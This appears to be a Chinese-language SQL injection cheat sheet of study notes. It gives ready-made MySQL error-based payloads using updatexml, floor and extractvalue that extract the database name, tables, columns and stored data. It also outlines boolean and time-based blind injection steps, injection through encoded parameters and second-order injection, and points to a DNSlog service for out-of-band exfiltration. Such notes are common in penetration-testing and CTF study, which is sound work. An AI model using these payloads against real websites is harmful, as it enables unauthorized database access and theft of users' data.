sql注入
一、报错盲注
1、通过updatexml报错
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))--+
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=TABLE_NAME)),0x7e))--+
爆字段数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))--+
2、通过floor报错
'and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
3、通过extractvalue报错
爆数据库名:'and(select extractvalue(1,concat(0x7e,(select database()))))--+
爆表名:'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))--+
爆列名:'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=TABLE_NAME))))--+
爆字段数据:'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))--+
二、布尔盲注
1 | like 'ro%' #判断ro或ro...是否成立 |
注入流程:
- 数据库长度
- 数据库表的ascii
- 数据库中表的个数
- 数据库中其中一个表名的长度
- 数据库中其中一个表名的ascii
- 列名的数量
- 列名的长度
- 列名的ascii
- 字段的数量
- 字段内容的长度
- 字段内容对应的ascii
三、延时盲注
1 | if(condition,A,B) #如果condition为true,返回A;反之返回B |
四、加解密注入
很多情况下,网站管理员经常会对传进的参数进行一个加密的操作,加密有可能是自己写,也有可能是base64、md5等等常见的加密
这种情况下,我们传注入语句的时候就要传对应的加密的内容
五、二次注入
-
插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
-
引用恶意数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的,在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
六、DNS注入
DNSlog主要解决盲注不能回显数据、效率低的问题
适合的网站:http://ceye.io